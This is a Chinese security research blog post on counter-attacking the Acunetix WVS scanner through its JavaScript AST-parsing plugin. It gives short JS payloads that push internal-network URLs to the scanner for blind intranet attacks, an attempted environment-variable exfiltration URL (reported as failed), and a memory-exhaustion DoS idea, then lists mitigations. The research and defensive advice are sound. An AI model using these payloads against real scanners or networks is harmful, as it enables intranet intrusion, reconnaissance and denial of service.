长亭百川云 - 文章详情

利用插件逻辑反制Acunetix WVS 扫描器

李姐姐的扫描器

116

2024-07-13

Acunetix WVS扫描器功能强大,插件丰富,广受白帽子们喜欢,是最为经典的重web扫描器之一。广泛地被攻击队使用,不少企业也在使用它进行内部安全巡检。过去,已有安全研究人员公开过低版本AWVS的RCE反制漏洞(目前已经被蜜罐产品在用)。笔者近期在分析AWVS插件时,对其中一个插件产生了兴趣,进行了一些简单的测试,尝试利用插件执行逻辑,对扫描器进行一定的反制。

Javascript_AST_Parse.script插件

本文介绍的插件是:Scripts/PerFile/Javascript_AST_Parse.script(得到AWVS插件明文的方法,请自行检索)。

该****插件的作用是:找到Javascript文件中的所有ajax请求,交给扫描器去执行请求。

这意味着,并不需要特定事件被触发,就能执行到这些HTTP请求,帮助扫描器发现API接口,捕获HTTP响应。AWVS受限于默认的静态爬虫,如果不去解析JS,是找不到这些较为隐蔽的HTTP接口的。

插件工作流程为:

  • 利用acorn解析Javascript代码,生成抽象语法树

  • 遍历语法树,找到所有可调用对象(CallExpression)

  • 在可调用对象中,递归查找,找到所有ajax请求方法,并将该请求添加到扫描器

`function processJavaScriptCode(data) {`    `try {`        `var ast = acorn.parse(data);`        `if (ast) processAst(ast);`    `}`    `catch (x) {}``}``   ``function processAst(ast) {`    `var elementsCount = ast.body.length;`    `for (var i = 0; i < elementsCount; i++) {`        `recursiveFindCallExpressions(ast.body[i], "");`    `}``}`

AWVS使用了acorn来解析javascript,该项目地址为 

https://github.com/acornjs/acorn

反制的基本思路

对于扫描器反制,几个基本的思路是

  • 利用扫描器缺陷,向扫描主机植入木马。实现反向控制

  • 利用扫描器缺陷,消耗主机资源,实现DOS攻击(内存耗尽OOM,CPU恶意占用)

  • 利用扫描器缺陷,反打扫描环境内网

  • 利用扫描器缺陷,回传扫描环境的基本信息(User、HostName、IP、OS、用户数据等)

反制:盲打扫描主机所在的内网

笔者经过测试验证,AWVS对ajax请求的目标URL是无限制的。因此,可以在JS文件中,把需要盲打的URL批量吐给扫描器。构造test.js内容为

`$(xxx).ready(function()``{``$.get("http://10.1.11.1:8080/script");``$.get("http://10.1.11.2:8080/script");``...``$.get("http://10.1.12.254:8080/script");``});`

xxx是不存在的对象,并不能被正常执行,但可以正常解析。在测试页面引入该JS,扫描测试页,可以看到这批URL被扫描器请求了,如下图所示

所以,在JS中向扫描器主动吐出内网漏洞URL盲打,可以发起对扫描主机的内网扫描,它的利用效果跟SSRF盲打是一样的。考虑利用以下漏洞

  • 路由器、交换机、防火墙的RCE漏洞

  • 常见的内网漏洞:Log4j、Jenkins、Struts2、Confluence、Nexus等

请注意,GET/POST/DELETE 等方法都是被支持的。通常,在企业内网大范围扫描容易触碰蜜罐,引起各种安全告警。但该主机因为是扫描节点,容易同时也出现被IP加白,主动忽略告警的问题。因此,扫描器被反制利用的风险反而增加了。

笔者在测试时,尝试写入了大量的URL到单个js,发现仅有一部分URL被请求了,导致这个问题的原因,可能是因为插件超时限制,出现timeout,或者是因为队列的大小限制被主动丢弃了。但解决方法也比较简单,把你想请求的目标URL,拆分后写入多个js文件即可。例如每个js中只写1个C段。

反制:获取扫描主机信息

笔者未能测试成功,原因在于acorn是纯Parser,不支持执行、不能关联上下文。会被AWVS添加执行的只有特定白名单中的请求和参数。一个思路,是寄希望于扫描引擎能支持embeded expression,也就是拼接 $(process.env.USER) 这样的字符串给扫描器。本地测试可行,acorn解析完成,node确实将信息带入了

`let acorn = require("acorn");``` s = ` ```$(xxx).ready(function(){``$.get("http://10.1.1.1/?user=${process.env.USERNAME}&os=${process.env.OS}");``});``` `; ```ast = acorn.parse(s);``if (ast){`  `processAst(ast);``}`

如上图所示,USER 、 OS、 COMPUTERNAME等环境变量中的信息,都是可以被带回,传到我们指定的接口的。然而在投给AWVS后,发现嵌入的表达式并未被解释器替换。

如上图所示,表达式未被替换,此路暂时不通。可能的原因是安全限制,因为笔者写入的参数${1+1}同样没有被正常替换为数字2.

反制:拒绝服务攻击

AWVS用到的acorn版本较低(代码中显示为2.6.5),未发现正则表达式DOS的漏洞。

一个思路,笔者尝试写了一个包含大量请求的js文件(16000个,仅数百kb),扫描器在处理这个JS的时候,出现内存占用的问题,单个目标跑到了2.6GB左右。如果使用普通浏览器打开页面,则是没有问题的,因为js是构造的,会立即抛出异常。因此,多写入几个这样的无效JS,就可以让扫描器陷入无尽的资源空耗。

另一个思路,在尝试利用AWVS的递归查找时,发现递归时有堆栈大小限制,未成功。

除此之外,利用扫描器大量地请求AWVS监听在本地3443端口的web服务或其他本地HTTP服务,也是一个潜在的攻击点,笔者未进行测试。

总结

本文介绍了AWVS扫描器Javascript_AST_Parse.script插件的逻辑,以及可能被用于反制的利用点。因为JS解释器限制,可控的输入太少,当前效果还比较局限。有兴趣的同学可以进一步研究其利用手法。开发考虑对该插件做以下处理

  • 限制该插件在处理单个JS时最多可添加的HTTP请求个数

  • 限制执行递归查找的次数和递归层级

  • 限制只允许添加目标为同一个 域 *.target.com 或者同一个网段下的请求

  • 由扫描框架,控制好单个插件的超时和最大执行次数

  • 由扫描组件,持续监视自身资源占用,必要时放弃退出

扫描器使用者考虑做以下处理:

  • 确保只在容器、虚机安装使用扫描器

  • 网络隔离,对上述虚拟环境,限制其能够访问的内网IP段

  • 对该插件进行前文所述的修改后再使用,或者临时先禁用

  • 对于资源占用异常的扫描进程,考虑直接kill,放弃该目标

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2